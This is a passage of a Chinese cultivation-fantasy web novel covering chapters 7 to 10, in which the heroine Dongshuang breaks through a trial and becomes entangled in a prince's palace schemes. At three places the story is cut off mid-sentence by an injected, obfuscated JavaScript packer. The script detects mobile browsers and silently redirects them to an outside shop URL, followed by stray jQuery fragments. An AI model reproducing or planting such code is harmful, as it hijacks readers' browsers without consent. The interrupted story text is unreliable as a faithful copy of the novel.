文玉嗤笑了一声,跟着琉璃进到殿内,说话声音也足够让殿外的人听到:“那可不成,凡上留剑擂台者,必一死一伤,他俩不过是受了东霜的挑拨,何至于闹那么大。”
文玉又伸着脖子朝殿外喊道:“你们说是不是啊?”
崇阿骑驴下坡:“那是自然,真是给那丫头气着了。”
祝炎哏着脖子进了殿内,什么都没说,只是耳朵通红。
东霜灵肉合一,能清楚的听见周围的声音,若非被封住了灵脉,文玉这般使用她,高低得起来和他论个明白。
文玉见人到齐,抬手见叶,那叶片飞到空中,徐徐绘出了一幅引灵阵法图。
“这是东霜此前给我绘制的引灵阵布局图,这五个方位按理是放置五味属性至纯的灵石,引金灵气入体,如今情况却大不相同,她灵肉分离,境界跌落,属性不明,我们只需以自身精纯的五灵之力作为药引,再辅以灵石,助她连破三境,灵肉重铸,至于以何入道,便看她如何选择了。”
崇阿邹着眉头,隐有担忧:“这……能行吗?”
“不知道啊,没试过啊。”文玉摊了摊手。
崇阿又看了眼琉璃,但并没有得到他想要的答案:“我虽不了解这阵法,但破境是救她的唯一方法,可一试。”
“最坏的结果呢?”
“想那么多干什么,来都来了,赶紧的。”祝炎已经找到了自己的方位,站的板正。
他们四人还是第一次行此等助人破境之事,对文玉的布阵更是言听计从,让他在坎位,便连一根头发丝都不会随意移动。
一时间,灵力流转,流光溢彩,整座文耀殿像是被包裹在五彩琉璃贝壳之中,与其他红黄揉杂的宫殿形成了鲜明的对比。
随着四更天的打更声起,文耀殿外值守的人揉着惺忪睡眼,伸了伸懒腰,拍了拍自己的脸颊,清醒后便去做清晨的服侍准备,但他们发现,自己被困住了。
整个文耀殿有一堵无形的墙,将它与世隔绝,里面的人奋力的拍着,喊着,只看到外面人来人外,却充耳不闻。
在众人身后,是苍乐的近身太监,早就对此见怪不怪,打了个哈欠,找了个台阶坐下来靠着:“别敲了,里面人在做法呢,咱等等呗。”
文耀殿内的深处榻上,躺着灵魂尚未归位的苍乐,而殿内的地上则坐着五个人,以东霜为中心,在她的坎位、离位、坤位、巽位坐着琉璃、祝炎、崇阿和文玉。
四人盘腿而坐,紧闭双眼,面色如常,周身灵力流动,四人头顶各有一颗与他们属性相同的灵石,灵力如烛光倾泻,再经由他们四人,引出深绿、深蓝、土黄、深红四条灵力带,集中于东霜。
东霜的状态就没那么好了,她眼球快速转动,神情紧张,嘴唇微张,身体微微摇晃,双拳紧握,她正处在迈进初阶三段的关键时刻:问道。
幻境中,她已走过四季,上雪山之巅,下熔岩之地,重新看过自己二十余年的人生,只是在每一次需要抉择的时候,她依旧坚持了从前的选择。
她就这样一直走一直走,走到古稀,走到头发花白,走到终于走不动了,找了一处靠水的树林,捡了一堆落叶,躺在了酥脆柔软的叶床上,呼吸着带着水汽的新鲜空气,看天空群鸟飞过,眼神逐渐迷离,她连睁眼的力气都没有了。
当眼睛彻底闭上,陷入黑暗,但她不觉得害怕,因为身处阳光底下。
“你知错了吗?”
“我没错。”
“你知错了吗?”
东霜的心脏每跳动一下,都像是被铁锤敲过,可她回答依旧:“我没错!”
“你知错了吗?!”
她大声喊了出来:“我没错!!”猛的一睁开眼,自己又回到了幻境中。
脚下是镜子般的地面,地下流淌着五种灵力,整个幻境美得似仙境。
幻境中还游着一对阴阳鱼,可两条鱼身上带着枷锁,锁链上金光闪闪,像是阵法。
空中还漂浮着很多记忆碎片的泡泡,这泡泡摸不着看不到,只是存在。
幻境的周围有八处通道,她一道一道进去,但前进的路是堵死的。
她站在幻境中间,重新审视了一番,口中碎碎念:“这构造不就是八卦五行四象阵吗?”
“听闻进了三阶就算是真正的修行之人,就有自己的灵海,莫非,这就是我的灵海,这么说,我已经破境了!”
可是,要怎么出去呢?为什么每一个方位的前方都被堵住了?
既然找不到答案,东霜干脆原地打坐,尝试调动体内的灵气,可体内空空如也,只能感受到均匀的呼吸,与凡人无异。
再次睁开眼睛的时候,天地倒转,灵力倒流,灵海崩塌,阴阳鱼绕着她转圈,那些不可触及的记忆泡泡一股脑的涌向了她的眉心,但她仍看不清那些记忆。
阴阳鱼游的范围越来越小,逐渐将她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241470|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包裹着,越包越紧,直到彻底被吞噬。
片刻窒息,心脏再次跳动的时候,身边已经一片荒芜,东霜站立在一幅转动的太极图上,像是又做了被献祭的阵眼。
她想跳出这个图,可脚下生了根,动弹不得。
之前的问题又在这荒芜的空间里回荡:“你可知错?”
“我没错!”她发了疯似的用戴在脖子上的玉条一遍遍的猛戳心脏。
玉条的尖端沾上了带着灵力的鲜血,随后,狠狠的刺向脚下的太极图。
那太极图开始延展,化形,直到变成人,一位和东霜长的一模一样的人,站了起来,与她面对面。
东霜向后退了半步,她也向后退半步,东霜皱眉,她也皱眉,一颦一笑,竟真叫人分不清谁是谁。
“你是何人?”
“我就是你。”
“哼,这世间绝不可能有第二个我,怪物就是怪物,休得胡言!”
“哼,这世间绝不可能有第二个我,怪物就是怪物,休得胡言!”说罢,那人竟徒手化剑,提剑朝东霜冲了过去。
东霜本能的躲避,但她既没灵力,又没武器,几招下来,光是躲避已经让她力竭。
她半跪在地上,喘着粗气,眼看那人灵气充溢,拿着剑缓步向她走来:“你输了,你才是怪物。而我就是你。”
东霜目光挑衅,眼神坚定:“你永远都不可能是我!”
此话一出,惹的那人直接用灌满灵力的剑刺向了她。
两人四目相对,片刻沉默,才发现,那一剑竟被东霜挡了下来。
东霜反手握着那根沾着鲜血的玉条,那玉条如剑身,挡住了刺向她胸口的剑尖:“假的就是假的,既然现身了,那就……祭阵吧!”
“金刚阵,灭!”
只有阵眼的金刚阵着实弱了一些,再加上玉条上的灵力太少了,用灭阵还是有些吃力,不过足够困住那人了。
“这是什么地方,放我出去。”
那人在阵中挣扎:“怎么可能,你怎么可能困住我,分明灵力全无,怎么还能启动阵法!”
“你别管,快放我出去!”
“你知不知道我是谁?”
东霜抬了抬下巴,示意她继续说。
“咳,我,乃天道之劫,专司修行破境之事,你得回答了我问题,我才能放你出去,不然岂不是随随便便就可以修道。”
“那你是神?”
“非神非仙非魔,只是劫。”
东霜听不懂她在说什么,也懒得再和她废话,引石心灵力,抬手给金刚阵加了些威力。
那阵中之人立刻讨饶:“别别别,别再施法了,容我提醒一句,你所行之事有违天道,到时必被反噬。”
见东霜全然不在乎,那人也不再多嘴,一味走流程:“你为何修道?准备以何入道?能否坚持道心……”
“就凭几个问题,就能观道心,定生死,你这天道之劫也太敷衍了吧。”东霜一个问题都不愿意回答,反而继续给金刚阵施加威力。
天道之劫是在拗不过,便将她扔回了现实,只留下一句:“你违逆天道,必将遭受九……”
8. 爱之劫·上篇8
“九什么?”东霜揉了揉脑袋,最后一句她没有听见。
再次睁开眼睛,已经回到了文耀殿内,那金光闪闪的横梁圆柱晃的人眼睛疼,白玉京的装饰还是太保守了。
耳边传来一阵男声:“九?九什么?”
东霜转头一看,一张精致又巨大的脸映入眼帘,她从床上弹了起来,警惕的看着苍乐:“你怎么醒了?我都说什么了?”
苍乐摇了摇头,带着委屈,一屁股坐在了床边的台阶上:“本皇子好心把床让给你,结果你连个谢谢都没,还有一连串的问题。”
东霜这才发现,自己不知道什么时候被搬到了床上,但苍乐这种委曲求全的样子,东霜实在吃不下:“咱俩,你就别装了吧。”
苍乐也坦诚,立刻换了副嘴脸:“东、霜,你演技也不错。”
此话一出,东霜似被打通了任督二脉,坐到了苍乐边上:“咱来缕缕,你故意上我的当,在酒楼逼我出手,你再用那魔骸扇自保,放出高阶凶魂,招来天罚,目的是为何?”
“你和我太子哥哥联手做局,无非就是想让我犯错,失了继承大统的资格,而我不过是利用了这一点,让暴风雨更加猛烈,大家各取所需,有何不妥?”
东霜和太子的计谋被戳穿,她有些心虚,这苍乐皇子可不似百姓所说的只懂享乐放纵。
“太子这般对你,你又为何要成全太子呢?”
苍乐笑眯眯的看着她:“不告诉你。”
东霜翻了个白眼,倒也不是那么想知道,她继续说:“那祝炎的出现和凶魂反噬,你应该没料到吧?”
“祝炎的出现确在我意料之外,如果仅仅是他,却并不影响什么,可变数竟然是你。”
“没想到我会救你?”东霜抓住了他故意避开的问题:“明明点到为止即可,又为什么要被凶魂吞噬?那凶魂是你故意放出来的吧。”
苍乐沉默了半晌,转头又笑眯眯的看着她:“不告诉你。”
东霜吃了瘪,真恨不得再次把他关到金刚阵里,叫他好受。
“看你五脉不通,额头发黑,也不是个长寿人,我一介修行人士,就不和你计较了。”
“初阶三段的修行大能,您大人有大量。”
东霜攥着拳,再这样下去,她真怕自己忍不住,便不再搭理他,自顾自的入了定。
刚迈入初阶三段,她早就已经心痒难耐。
据文玉所说,三段才是正式开启修行的境界,能感知天地灵气,目识千里,耳随风听,身轻如燕,长命百岁……
额,长命百岁,这还是太过奢侈了,自己的封印一日不解,怕不是比那个短寿皇子还要短寿。
东霜定了定神,现在没时间想么多,她的灵思正在皇宫遨游。
她穿过廊台水榭,穿过御花园,在隐秘的角落看见说小话的太监宫女,在无人的宫殿看见偷情的妃子。
这种宫闱秘事她怎么能错过,可那宫殿外设了禁制,她是一步也前进不了,自己又是灵思状态,想强行突破也不行,只能愤愤的离开。
皇宫太大了,各宫各院,绕的她晕乎乎的,但有一处地方她必须得去看看,那便是皇帝和百官上朝的太安宫。
已临近午时,不仅没下朝,那里的声音依旧激昂嘈杂,吵得她甚是兴奋。
仗着皇帝朝臣都是凡人,感受不到她的灵力凝视,东霜大摇大摆的直接闯进了殿内观看聆听。
高坐上的皇帝单手撑头,闭着眼睛,任凭下面吵翻了天也不抬眼。
站在正中间高谈阔论的是穿着绯色朝服,衣服上绣着一只獬豸的言官,他唾沫横飞,舌战群儒,和左右都辩论完,才恭敬的向坐在高位的皇帝朝拜:“陛下,三皇子虽有麒麟之身,但他离经叛道,偭规越矩,大闹街巷,轻薄百姓,还招来了天罚!陛下,皇室龙气乃天授!三皇子得罪百姓,得罪天神,理应当街处死,以正皇家威严!”
待他说完,又两三位绯色朝服者高声附和,正等着陛下做最后的决定,此事已经拖了五天,绝不能再拖下去了。
朝堂一时间寂静无比,每个人连大气都不敢喘,那领头的言官低头跪着,左看看,又看看,希望能来个人再给陛下身上放上一根草,最终寄希望于太子。
他给太子使眼色,使的五官扭曲,太子就匆匆一瞥,会意后直接转了方向不去看他,他在心里恨铁不成钢,愤愤的把自己头埋在双臂间,等待陛下发话。
对太子的举动,东霜倒是能理解,传闻麒麟苍乐是开国皇帝转世,又说他的麒麟身与开国皇帝的麒麟身为同宗,但不管哪一种说法,最终的结论都是一样的,苍乐才是天命帝王。太子才不会去做那把砍向苍乐的刀,否则就更加名不正言不顺。
殿中的时间仿佛停滞,东霜觉得甚是压抑无趣,灵思穿梭斗转,来到了祝余山下。
这祝余山乍看之下,不过就是座普通的高山,山坡崎岖陡峭,山尖高耸入云,可一直往上爬,才会发现,其实一直在原地打转,那山路根本走不到尽头,祝余山在山脚就设了禁制,寻常人等更是不可靠近。
东霜初次使用灵思,早就疲惫了,本想就此打住,可好巧不巧,迎面下来四个人,可不就是文玉他们。
本想跟着他们,看他们在聊些什么,可初阶修士的灵思在高阶修士面前,简直班门弄斧。
文玉一个眼神,就让东霜灵归其位。
苍乐正玩味的看着她:“初窥修行门径,有何感受?”
“爽哉!”
“大胆小儿,竟敢窥视祝余山!”比崇阿的声音先到的是殿内的一簇流沙瀑布,流沙化形,崇阿每次都站的一板一眼,言语呵斥过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241471|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东霜还不够,还要用眼神警告。
东霜不接话,心虚的看向别处,一片叶子,一团火以及干净利落现身的琉璃。
东霜看着他们四人各不相同的出场,有些好奇:“修行中人难道都如你们这般,出场还自带景色点缀的?”
“当然不是。”琉璃上前一步,以草木青探东霜的灵脉状况,见无大碍,才继续解释:“我们四人同期修行,年纪也相仿,在入门之前,常常一起论道,不过他们三人互相不服,修行大道上既然无法比出高低,只能在此等小事上争个出彩。”
“我就说嘛,修行之人若都像你们这般花里胡哨,那整个修行界可不就是一个巨大的花孔雀园。”
文玉如往常一样,用藤蔓轻敲了一下东霜脑袋:“嘿,怎得刚破境,就如此不尊重前辈。”
“前辈?修行界当以实力为尊。”
“同意!”祝炎立刻站了出来,扬了扬下巴,挺了挺胸,中气十足。
崇阿轻蔑一笑:“你就是用这种答案问道的?”
东霜用“那怎么了”的眼神回望道:“我既能破境,就说明此答案可行。”
两人的交谈也不超过三次,但每次都让空气凝固,每每此景,其他三人反而乐在其中。
苍乐打破了空气中的尴尬:“前辈们,你们的问道是什么样子的?”
祝炎咧着嘴,想都没想,立刻道:“我和我自己打了数百回合,将他打败了,也就破境了,他好像还问了几个问题,我没听清,也懒得听。”
东霜竖了个大拇指,赞叹不已:“有我的风范!”
她扫了一圈其他三人,各忙各的,琉璃给东霜配药,文玉又摆弄起了殿内的花草,崇阿昂着头直接表明他并不想说。
眼神落在苍乐的眼睛里,两人相视一笑,不做他讲。
突然,一道尖锐的声音搅乱了平静的水面:“圣旨到!”
那四人竟不约而同的消失,徒留东霜一人以及一片叶子:“修行之人不涉人间事,你也早些离开。”
她这才反应过来,她虽然破境了,也没人告诉她怎么飞啊,既没灵宝,也没神兵,哪里能像他们一样神行千里!靠她的双腿吗?!
她的双腿已经和苍乐一样跪下接旨了。
如太子所愿,苍乐被贬为庶民,再也无法和他争夺帝位。
苍乐原本是要逐出宫门的,听说太子长跪求情,这才把他安置在皇宫西侧的冷泉宫。
东霜看了眼苍乐,他复看了一遍圣旨,面上看不出表情,可东霜猜测,这圣旨并未如他的愿。
“怎么,没能处死你,不满意?”
他眉毛一挑,眼睛亮晶晶的,看着东霜:“有没有兴趣干票大的?”
“又要拉我入局?”
他摇了摇头:“你只当做个见证人。”
9. 爱之劫·上篇9
冷泉宫位于皇宫西侧,再往西便通向祝余山,此处虽然人烟罕至,但胜在依山傍水。
推门而入,便能随风闻到若有似无的桂花香,待天气再冷些,便能看到傲雪红梅。
此处的宫殿皆是青瓦白墙,到与寻常富户的庭院别无二致。
两侧是厢房,院子中间皆置景,小乔下汩汩温泉带动雾气流动,仿若置身云中,穿过小桥,临水而建的是一座名唤海棠醉的雅室。再往里走,便是主屋,这主屋也有一个雅致的名字,名唤风荷举。
东霜不禁赞叹:“这院落的名称竟是按照春夏秋冬来命名的,也不知道以前这里待的是谁。”
苍乐推门而入,里面一尘不染,他正好站在暖阳下,回望门口正踟蹰的东霜:“进来吧,此处原是家母住所。”
家母?那岂不是当今皇后居所,可是当今皇后怎会住在此地?
这些皇宫密辛,东霜深知非她能探听,只是继续赞叹:“不愧是皇后,这里雅致清新,如此对比,倒显的我那白玉京的布置太过俗气了,亏的我那地方还被称为文人雅客的天堂,惭愧惭愧。”
苍乐找了个位置坐了下来,桌上的茶水还是热的,边倒茶,边示意东霜坐下:“东老板还挺有自知之明的。”
东霜泯了一口,脸皱成一团,入口发苦,细品回甘,但太苦了,她接受不了,将茶水放在一旁,问道:“接下来我们干什么?”
“撒网捕鱼。”苍乐转着杯子,玩味的看着门口。
如他所料,屁股刚坐热,就有太监匆匆赶来回禀:“主子,太子殿下到。”
“快请!”
东霜易了容,作一副宫女打扮,紧跟在苍乐身后,到海棠醉的时候,见太子负手而立,观赏满园桂花。
“太子哥哥~”苍乐撒着娇,快步上前,紧紧的抱住了太子。
太子捏了捏苍乐的肩膀:“历经大劫,三弟瘦了许多,哎,不过活着就好。”太子看了一眼东霜,眼神又落到苍乐身上:“这里虽然常年有人照料,但毕竟连个正经服侍的人都没有,我回去就找几个得力的人过来伺候你。”
东霜内心不平,她怎么就不正经了,这太子言语间就不像个好人,说是调拨人手,实则行监视之事。
可苍乐一听,乐了:“好啊,谢谢太子哥哥了,最好挑几个美女,我被禁足再此,正愁没处消遣呢。”
东霜内心冷哼,真不愧是兄弟俩,没一个好东西。
两人寒暄了好一会,才终于进入正题。
太子停顿了一下,再抬眼时,歉意溢出,声音颤抖:“三弟啊,是我对不起你,实在是那些言官步步紧逼,他们要让父皇处死你啊,我只能找个折中的法子,委屈你暂居此处了。”
一山更比一山高,苍乐低头抽泣,拿起太子的衣袖就开始擦眼角的泪:“太子哥哥,我知晓你是为我好,这种结果我已经很满意了。可是,那始作俑者却还逍遥法外,我实在是咽不下这口气啊!”
“莫要去刨根追底了,留得性命才是最重要的。”
“太子哥哥,若非四弟托你将那扇子给我,我怎会有此一遭,我定要让他付出代价!”
“三弟啊,忍忍吧,父皇最忌讳的就是兄弟阋墙,言官到时候又要给父皇施压,别再让父皇难做了。”
苍乐连声答应,却偷偷给东霜递了一个眼神。
东霜心领神会,原来这就是她的作用。
很快,废皇子找四皇子算账的事情就在皇宫传开了,甚至越传越离谱,说废皇子找了祝余山的高人,要让四皇子的灵魂下地狱,被恶鬼吞噬,永世不得超生。
东霜为了帮苍乐树立恶人模样,还大力赞扬了太子高风亮节。
事情传开的当晚,端妃便背着荆条来了这冷泉宫。
苍乐一听说她到了,便亲往门口迎接。
端妃身段曼妙,容貌秀丽,远看,简直就是皇宫最美的人,可她刚见到苍乐就毫无顾忌的扑通一声跪在了门口,上半身伏在地上,额头微抬,让泪水顺着眼角滑落:“殿下,儿之过,母之错!臣妾向殿下请罪,求殿下原谅!”
“端妃娘娘,草民可受不起您这一跪。”苍乐快步上前将她扶了起来,握着她的双手,十分懊悔:“哎,我不过一时气话,何以惊动了端妃娘娘大驾,事情过去了也便过去了。”
苍乐紧紧的握住她的手,端妃脸上挂着清泪,脸色被夜晚的寒气冻的煞白,但一丝红晕也悄悄爬上了她的耳朵。
两人距离之近,在旁人看来竟像是苍乐半抱着跪坐的端妃。气氛也从紧张变的旖旎。
苍乐顺势将端妃扶进了寝殿内。
“端妃娘娘。”苍乐递给她一块帕子,端妃泪眼柔情,拿帕子的时候,指尖划过苍乐的手背,苍乐并未打算放她离开,反手握住了她的纤纤玉手。
“若非父皇阻拦,你我早已双宿双飞。”
端妃的脸靠在苍乐的手背上,来回摩挲,红晕回到了脸颊,她发出一声娇嗔:“冷泉宫偏僻,我有些冷。”
端妃缩回的手带着苍乐依偎着她坐了下来。
苍乐搂过娇软的身躯,看着怀中人丰润的嘴唇,再也忍不住,便低头吻了下去。
东霜作为见证人,这一切自然都落入了她的眼中,她看的脸红心跳,面红耳赤,口干舌燥,作为一个初阶三段修行之人,根本没发现身后站了个人。
“好看吗?”
“好看,好看。”这声音,怎么那么像房里的人,东霜猛的转身,苍乐竟站在她身后,她哆哆嗦嗦的指着他,问:“你,怎么在这里?房里是谁?”
苍乐甩了甩手上的纸片,道:“当然是傀儡。”
他冷眼看着房中春事,又补充了一句:“我向来都是守身如玉的。”
哼,果然什么留恋烟花柳巷之地,都是装的,扮猪吃老虎的麒麟。东霜腹诽。
“还不去做你应该做的事情吗?”
“知道了知道了。我的麒麟殿下。”东霜最后看了一眼殿内,真是意犹未尽。
-
鸡还没打鸣呢,废皇子与端妃的风月趣事就已经传遍了皇宫,甚至流入了民间,流进了言官的耳朵里。
未到上值的时候,宫门口就跪满了百官,他们只有一个请求,处死苍乐,留下麒麟血。
宫外已如此热闹,宫内自不逊色。
四皇子一脚踹开了冷泉宫的大门,将苍乐从床上拖到院中爆揍,左一拳又一拳:“你竟敢欺负我母妃!惑乱宫闱!有违人伦!不得好死!我要替天行道!打!死!你!”
拳拳到肉,不过片刻,苍乐脸上青一块紫一块,嘴角和眼角都挂了血。
好不容易钻了个空档,从他身下滚了出来,灵宝神器都在库中,只能随手拿了一根放在外面把玩的雷鸣鞭,在四皇子朝他冲过来的时候,胡乱的朝他一顿劈砍。
“你要是再往前一步,就别怪我不念手足之情!”苍乐手握长鞭,四皇子根本近不了身。
四皇子喘着粗气,瞪着苍乐,紧握双拳,指关节红的发黑,指甲都陷进了肉里。
可他的理智早就被怒火烧焦了,此时的停歇,只为了更好的蓄力进攻。
“你就该死在凶魂之下!啊!我杀了你!”
在他冲过去的瞬间,苍乐也再次挥动长鞭。数道雷鞭砸在他身上,又流到他脚下形成了雷池。
那雷鸣鞭虽说是中阶灵宝,但引的可是天雷,四皇子区区凡身,哪里承受得住雷鸣之力,他的头发像刺猬一样根根竖起,人则焦黑,像一块木头一样直挺挺的向后倒去。
苍乐似乎还不过瘾,对着地上的焦炭咆哮道:“呵呵!就凭你?无用的凡人之身,也敢和我叫嚣!我可是麒麟血脉,全天下的人都得敬我三分!若我要称霸天下,又有谁敢阻拦?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241472|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说完,眼睛一扫,精准找到了角落的东霜,得意的挑了挑眉。东霜也毫不吝啬自己的夸奖,在胸口竖了个大拇指。
可东霜没想到的是,那天雷竟从四皇子身上拐弯了,数道雷电像被惊扰的蛇一样,直冲她而来!
她左手扔出五个灵石,右手布阵:“飞天遁地阵!御!”
上蹿下跳的和天雷斗了几十个回合,最终成为一块焦炭,和四皇子一起被抬出了冷泉宫。
等她灵识回归,闻着熟悉的帐中香,身下的千年石床在缓慢释放热量,看到了千年蝉妖做的金丝软帐,她倏地从床上坐了起来,怎么回到白玉京了?
“醒了?”
“老木头?我怎么在这里?”
“我还想问你呢,琉璃说你被天雷劈了,整个人焦黑,你呀你呀,净掺和人家家事。”
“我只是想看看那麒麟能翻出什么天来。”
“啧啧啧,快收了你这心思,你可知修行之人为何不能入世?”
“妨碍天道秩序?”
“秩序?”文玉摇了摇手中的藤蔓,轻笑道:“秩序与我何干?是不能有羁绊。”
“人人都说草木无情,果然是真的。”
文玉一脸看小屁孩的表情:“你不懂,一旦有了羁绊,就会生执念,执念愈深,就会变成妄念,就会……生出邪。”
文玉愣了一下,眼神飘忽。东霜知他心中一直藏着一件不能说起的事,只好生硬的转了个话头:“另一个被烤焦的皇子呢?死了?”
“那皇子乃天生夔体,区区雷鞭,能耐他何,刚被抬出去就活蹦乱跳的走了,比你耐打多了,放着心吧。”
东霜心里发毛,也许那扇子根本就是苍乐准备的,所有的一切都在他的算计中,他就是想死,她又问道:“那麒麟呢?还活着吗?”
“你为何不自己算一算?听闻修阵之人,可通天地,晓阴阳。让我见识一番。”
东霜眼睛一亮,立刻坐到了桌前,拿出三块灵石朝天扔去。
灵石随着两人的视线“咚咚咚”落下,四目相对,文玉满脸期待:“如何?”
东霜认真仔细的看了一番,笑意盈盈:“不知道啊~看不懂。”
“咦……原来上古记载都是骗人的,也许就是你们这些阵师所录,流传下来专门骗人修阵。”
东霜笑的人仰马翻:“虽然我不会看,但我可以去探探。”
说罢,便入了定,灵思神游,她对这一套已经用的炉火纯青,皇宫的布局也被她摸熟了,左转转右转转,畅通无阻。
可诺大一座皇宫,竟没有苍乐的气息和踪迹!难道真死了?!
待灵思回身,她若有所思的问文玉:“有没有一种可能,苍乐用了隐匿踪迹的灵宝?”
“嗯。是这样。”说话间,文玉突然侧身,定睛一看,他双指间已经夹了一根银针。
银针上蓝色灵力流动,文玉感知了一番:“哎,你自己玩吧,来活了,我先走了。”
挥一挥衣袖,留下一片枯叶。
“又想留下我?”
好在东霜早有准备,在那枯叶消失之前,抓过来入追踪阵:“迷踪,破!”
不好!怎么到冷泉宫了!怎么这么多人!
阵法已经来不及停止了,她咚的一声沉闷的落下,半蹲在了众人围坐的茶台上。
她脑袋里嗡的一声,四周逐渐模糊,极致尴尬。
苍乐憋着笑,微弱的扑哧一声将她拉回了现实。
她强装镇定,浅浅一笑,和众人打了个招呼:“好久不见啊,各位大能同修~”
五人表情各异,谁也不搭理谁,不过,这倒给了她喘息之机。
东霜施了个瞬移阵,坐在了空着的座位上。
这时,坐在东霜对面的苍乐清了清嗓,郑重其事的问道:“都到齐了,那诸位,可否与我共闯祝余山?”
10. 爱之劫·上篇10
冷泉宫最贴合它名字的瞬间就是此时此刻了。
当苍乐邀大家共闯祝余山的时候,四人难得齐心的回答了他两个字:“不行!”
而东霜,左瞄一眼,右瞥一下,抬起左手展示了自己刚加固的阵法:“此乃金刚阵无敌版,同境之内,是无敌的防御阵,不知,我有没有闯山的资格?”
“同境?初阶三段?”苍乐调侃道。
“哼,那你找我做什么?不如去找些高阶修士。”
苍乐抱拳道:“是在下失言了。给修行榜第一阵师赔不是了。”
天底下鲜少修阵之人,为世人可知者,唯她一根独苗,担了这第一的名头虽然有些脸红,但旁人这般说,她还是很受用,便故作姿态的“嗯”了一声:“我大人有大量,就不和你计较了。可这祝余山是仙家圣地,如何闯得?”
“倘若是之前,山脚有仙灵境修士守山,那凭我们定是闯不得的,可近来,却邪枪异动频发,无意中触发了祝余山的护山大阵,如此,即便是低阶修士都能进山。”
“既是护山大阵,又为何人人可进?”东霜问道。
一直没有出声的崇阿,这时抢答道:“这护山大阵乃是我们开山祖师所创,开山祖师心怀大义,布下这阵法收容弱小修士,不轨之人亦会于阵中自毁。”
他本言辞激昂,可细想之下,沉声道:“护山大阵不到危难时刻绝不会启动,难道这却邪枪已经……”
“却邪枪乃护佑苍生的神器,为何好端端的在祝余山会生了瘴?”苍乐眼中带刺,皮笑肉不笑的看着崇阿。
“许是浊气。”崇阿想到了什么:“难道师傅……”,他声音越来越低,后面的话被他吞进了肚子里,他腰间独属于祝余山弟子的玉牌突然剧烈震动。
那玉牌脱离了挂绳飞到他面前,一行小字出现在玉牌上:速回山门。
崇阿走后,内殿陷入一片沉静。
东霜用脚踢了一下文玉,悄声问道:“你闲着没事,为何不去?”
文玉用只有两个人能听见的密语告诉她:“那可是祝余山,你要是还想在修行界混,我劝你少掺合这事。”
“苍乐,闯山有什么好处?”
“你想要的都有。”
东霜一听,如此空话,她已经开始后悔自己的鲁莽之举了。
苍乐不肯透露太多,一群修行人,亦来去自如,见无他事,便作鸟兽散。
-
既然东霜正式步入修行,那人间之事必得了却。虽然天道不公,可她也不想再受第二次天罚。
东字号放出要卖的消息后,各地的买家齐聚东都城,东都城摩肩接踵,车水马龙,好久没这么热闹了。
在苍乐说完闯山之事的第二日,祝余山便放出了话,五日后凭玉山令可入祝余山。如此一来,东都城便是更加拥挤。
可祝余山都放话了,苍乐却没了后续,为此,东霜已经连续几日茶不思饭不想,连卖东字号这么大的事情,都提不起劲。
她只看到坐在她对面的买家,上嘴唇和下嘴唇快速碰撞,唾沫横飞,脸上的横肉随着说话的频率在抖动,声音离她很远。
那人敲了敲桌子:“喂,东老板,这个数字怎么样?”
他伸出了两根粗黑肥硕的手指:“这个价格可不低了。全天下只有我能出得起这个价格了。”
东霜不屑的嘴角微勾,区区十万万金子。
她三日见了六十多个买家,每个人都在夸耀自己富可敌国,却没一人能给她付全款,把她当作放水钱的了!
“明天,一次性给我?”
“嘶,这……怕是不行吧?谁能拿出这么多的现银!”
“我能!”
这熟悉的声音,让东霜直接弹跳起立,快步上前去迎他:“苍乐!你可算是来了,闯山之事可有后续?”
“先不说此事。”他转了个身,对着那位买家,客气道:“您已经待了一盏茶的功夫了,买卖仍未成,该轮到我了。”
“哼。”那人甩着衣袖起身的时候,桌子椅子都为之一颤,边走边骂骂咧咧:“一个废皇子,拿什么与我争……”
下一秒,他就看到苍乐正从一个平平无奇的布袋里拿出一颗颗比拳头还大的灵石,金光闪闪的摆了满桌子。
“世间灵料,唯有炼制金灵石的料子最难寻,不过,还好,我宝库中多的很,全给你炼了。”苍乐一边说着,手上还不停的往外拿。
那金灵石每一颗都等大,圆润饱满,光泽好。品阶从初阶到高阶齐备。
看的东霜两眼放光,这些金灵石不仅够她突破到十五阶,平时布阵,都不用省着用其他属性的灵石了,金灵石布阵,还可以让阵法发挥最大的力量。
眼看灵石已经摆到了地上,东霜出声制止:“行了行了,连袋子一起给我?”
“那是自然,这里面一共一万八千颗灵石,全都给你,另外再补一百万金。”
“等等?一百万金,还有这些灵石,就想买我的商号?”东霜寻了个空位坐下,从随身的万象阵中拿了一个算盘出来,手指飞快的上下拨动:“东字号商号中,酒楼虽然这几年连年亏损,但每年的利润也未低于百万金,还有遍布东国的成衣铺子、药铺、茶肆、典当行等等等等,这些利润可是不可估量的。”
东霜越说越激动,这废皇子简直是她见过的六十多个买家中最厚颜无耻的。
